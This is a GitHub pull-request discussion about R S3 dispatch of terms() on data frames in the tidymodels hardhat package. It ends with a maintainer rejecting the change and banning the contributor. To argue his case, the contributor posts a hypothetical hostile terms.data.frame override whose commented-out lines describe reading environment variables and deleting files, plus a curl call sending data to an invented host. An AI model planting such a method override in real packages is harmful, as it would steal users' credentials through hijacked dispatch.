be explicity when you call terms.data.frame

[jwijffels]

Here is a fix for issue https://github.com/tidymodels/hardhat/issues/155 If you are assuming that terms on a data.frame always calls stats::terms.default while

• nowhere in the documentation of ?stats::terms it is indicated that you can call it on a data.frame without using terms.default
• nor is terms.data.frame implemented in package stats It might be better that you make your assumptions explicit. So that you don't claim terms.data.frame for other packages. This fixes the issue for user @LasWin All the best.

[jwijffels]

@DavisVaughan @topepo

• And before you really think issue #155 is not a bug on your end consider the following
  • Somehow someone put the following code in one of the package dependencies of tidymodels or even a person sourced something from the internet advocating something about tidymodels
  • Who do you think they will contact when that happens? The authors of the BTM package?

terms.data.frame <- function(object){
  ## let me send some data of that user to a secret server ... collecting data Sys.getenv(...) unlink(...)
  ## curl::curl('http://youdontwantoknowwhereisendthisto/whatever/thanks/for/the/security/bug')
  stop("haha we stole your credentials, thanks buddy, just a last reminder don't use tidymodels, boehahahahahahaha.
        They claimed the bug was not theirs, sure ...")
}

... Next a whole bunch of tidyverse code, followed by a call to tune_grid.

May I ask you next time you tag me using that @ symbol and ask for my advice as in #155 just to be a bit more open-minded instead of blocking a conversation. I really don't like these kind of discussions. This is terribly frustrating.

[topepo]

@jwijffels - we are not going to subvert the S3 method dispatch because you have added a feature to your package that is discordant with the stated intention of the terms generic. To remind you, ?terms has:

"extract terms objects from various kinds of R data objects." (their emphasis)

I stated previously that we would not make a change to hardhat. I suggest that you subclass your data frame object and make a terms method for that.

So that you don't claim terms.data.frame for other packages.

This is an extremely bad-faith argument on your part; you have "claimed" terms.data.frame() in a way that breaks the terms() generic for others.

Please do not contribute to any of the tidymodels repositories. We are not interested having contributors that engage in trolling on the list of authors.

All the best.